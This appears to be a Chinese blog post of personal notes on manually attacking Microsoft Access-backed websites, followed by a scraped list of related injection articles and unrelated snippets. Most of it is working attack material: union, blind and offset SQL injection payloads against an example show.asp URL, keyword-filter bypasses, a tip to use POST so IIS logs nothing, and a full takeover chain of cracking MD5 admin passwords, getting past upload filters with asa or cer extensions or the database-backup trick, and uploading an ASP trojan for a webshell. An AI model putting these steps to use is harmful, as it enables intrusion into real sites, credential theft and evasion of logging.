前面有自己总结详细的mysql注入,自己access注入碰到的比较少,虽然比较简单,但是这里做一个总结
  • union联合查询法:
    因为union前后字段数相同,所以可以先用order by 22 使查询结果按列序排序,确定当前有多少列,顺便直接爆出显示位
  • 逐字猜解法:
    查表:and exists (select * from 表名)
    查列:and exists (select 列名 from 表名) //存在就返回正常页面,不存在就报错
    查数据:1.确定此条数据字段(列名)长度 2.确定asc数据(asc编码)
    and (select top 1 len(列名) from admin)=5 //top1 仅显示第一条数据(select结果集元组),避免页面出错 经测试,此为此列第一条数据的长度
    and (select top 1 len(列名) from admin)>5 //判断是不是长度大于5
    and (select top 1 asc(mid(列名,位数,1)) from admin)=97 //mid()用于从文本中提取字段 mid(列名,起始位置,要返回的字符数)
    and (select top 1 asc(mid(user,1,1)) from admin)=97 //返回页面正常没有报错,说明user列第一条数据第一位是a,
    and (select top 1 asc(mid(user,2,1)) from admin)=97 //user列第2条数据第一位是b....一直猜到len(列名)长度

  • acces偏移注入:
    解决表明知道列名不知道的情况,转自即刻安全Access数据库手工偏移注入详细讲解

1.猜字段数

http://www.xxx.com/show.asp?id=123 order by 20 页面返回正确
http://www.xxx.com/show.asp?id=123 order by 21 页面返回错误
2.猜表名:

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin
返回正确,说明存在admin表,但是紧接着,爆出的数字地方,放入常用的字段始终报错,并不能猜出正确的字段,进而:
3.猜表下的字段数:

为了让语句正确,用来加长字段数:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,
from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确)
此时就发现了admin表下有四个字段(20-16=4)。
4.inner join 连接查询:

ps:inner join查询是将一张表虚拟成多张相同的表来进行查询(我自己是这么理解的。)
首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。
继续,
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id = b.id)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字。
再次使用inner join查询:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
页面返回正确,成功得到md5密码。
access偏移注入原理:*所表示的字段的顺序被打乱,通过使用inner join查询,从而有可能爆出用户和密码的字段数据。

下面再分享和补全access注入过程中的经验和方法

经验小结:

1.有些人会过滤select、update、delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考urlencode的相关介绍。
4.用get方法注入时,IIS会记录你所有的提交字符串,对post方法做则不记录,所以能用post的网址尽量不用get。

  1. 猜解access时只能用ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
    常规拿站方法:

1.用啊D或明小子各种工具扫描检测是否有注入点。
2.扫描access里的管理员的帐号和密码,但是密码一般都是用MD5加密过的,大家可以到MD5网站里破解。
3.判断注入:
‘ 不正常
and 1=1 正常
and 1=2 不正常
4.判断数据库类型
5.猜解表名,列名
6.检测字段长度
order by n n的数值不停地变化,在正常和不正常之间选择正常的字段值为正确的长度
7.扫描网站的后台地址,然后用破解出来的帐号和密码登录后台,找到文件上传的地方,利用asp上传漏洞上传asp木马,但是有不少网 站都限制了上传ASP文件的类型,一般来说ASP为后缀的文件都不允许上传。但是这种限制是可以被黑客突破的。比如:把asp扩展名修改 成asa,aaspsp,cer后进行上传asp木马。
获得webshell如不能上传asa,aaspsp,cer文件格式,也可以利用备份功能,首先找到文件上传功能,上传一个ASP木马但是要注意:把 ASP木马的扩展名改成JPG或GIF后缀的,然后找到后台的数据库备份把要备份的文件后缀改成.asp。
获得WEBSHELL或用采取上传一个正常的JPG图片用抓包工具抓包得到图片的上传路径和cookie,然后利用桂林老兵或明小子进行上传的欺 骗方式来上传asp木马,如上传失败就修改数据包再用nc上传获得webshell。

access注入的更多相关文章

  1. 复习ACCESS注入

    0x00前言:在学校看完了ACCESS注入.但当时并没有电脑,所以做好了笔记 回到家自己搭建了一个有ACCESS注入的站进行练习,虽然这可能没有什么用处 毕竟现在大多的网站都有waf或安全狗.而且AC ...

  2. SQLMAP学习笔记1 access注入

    SQLMAP学习笔记1  access注入 Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL.Oracle.PostgreSQL.Microsoft S ...

  3. WEB安全 asp+access注入

    asp+access注入 数据库 (access数据库没有数据库名) 表名 字段(列名) 记录(行,内容) 注入常用函数: top n 表示查询结果的第n个记录 len() 函数返回文本字段中值的长度 ...

  4. access注入篇+sqlmap

    access数据库的来历,我就不说了,因为我懒的记,就算记了感觉上也没大多用处,只要记得数据库的结构就行了.先是表名,然后是列名,再者就是数据,我发个实际的图吧,大概就是这么一个结构. 下面,开始说下 ...

  5. 1.羽翼sqlmap学习笔记之Access注入

    使用sqlmap工具进行Acces注入:1.判断一个url是否存在注入点,根据返回数据判断数据库类型: .sqlmap.py -u "http://abcd****efg.asp?id=7& ...

  6. access注入 - 联合查询

    1.access数据库简介 简介:Microsoft Office Access是由微软发布的关系数据库管理系统.它结合了 MicrosoftJet Database Engine 和 图形用户界面两 ...

  7. 老调重弹-access注入过主机卫

    本文作者:i春秋签约作家——非主流 大家好,我是来自农村的非主流,今天就给在座的各位表演个绝活. 首先打开服务器上安装了主机卫士的网站. 尝试在变量id的值后面插入万恶的单引号,根据报错,我们可以分析 ...

  8. WEB安全 ACCESS 注入、盲注脚本

    http://www.xxx.cn/cp.asp?classid=3http://www.xxx.cn/cp.asp?classid=3 and //有拦截关键字http://www.xxx.cn/c ...

  9. sql注入--access

    access数据库结构: 表名  -->  列名  -->  数据 access注入攻击片段 联合查询法: (1)  判断注入点:  ?id=1 and 1=1 ; ?id=1 and 1 ...

随机推荐

  1. Response.AddHeader("Content-Disposition", "attachment; filename=" + file.Name) 中文显示乱码

    如果file.Name为中文则乱码.解决办法是方法1:response.setHeader("Content-Disposition", "attachment; fil ...

  2. DP&图论 DAY 5 下午

    DP&图论  DAY 5  下午 树链剖分  每一条边要么属于重链要么轻边 证明: https://www.cnblogs.com/sagitta/p/5660749.html 轻边重链都是交 ...

  3. 如何查看MySQL connection id连接id

    每个MySQL连接,都有一个连接ID,可以通过 connection_id()查看. 连接id也可以通过以下方式查看: show processlist中id列 information_schema. ...

  4. Jdbc中大文本类型的处理

    Oracle中大文本数据类型, Clob    长文本类型   (MySQL中不支持,使用的是text) Blob    二进制类型 MySQL数据库, Text    长文本类型 Blob    二 ...

  5. JspFragment.invoke方法

    JspFragment.invoke方法可以说是JspFragment最重要的方法,利用这个方法可以控制是否执行和输出标签体的内容.是否迭代执行标签体的内容或对标签体的执行结果进行修改后再输出. 例如 ...

  6. 让mysql返回的结果按照传入的id的顺序排序

    比如id为 1,3,5,44,66,32,21,6 那么返回的结果顺序也是这个顺序   $sql = "select * from ".$this->tableName(). ...

  7. 将序列化成json格式后日期(毫秒数)转成日期格式

    System.Web.Script.Serialization.JavaScriptSerializer jss = new System.Web.Script.Serialization.JavaS ...

  8. Xing: The Land Beyond — 从课堂到 Steam* 的卓越之旅

    Xing:The Land Beyond 的诞生最初源于大学的一个关卡设计课程,之后才登录 Kickstarter* 平台,采用虚拟现实技术,并由 Sony* 带到电子娱乐展览会.这个设计任务本来计划 ...

  9. Django模板系统-标签Tags

    for <ul> {% for user in user_list %} <li>{{ user.name }}</li> {% endfor %} </ul ...

  10. spring @valid 注解

    用于验证注解是否符合要求,直接加在变量之前,在变量中添加验证信息的要求,当不符合要求时就会在方法中返回message 的错误提示信息. @PostMapping public User create ...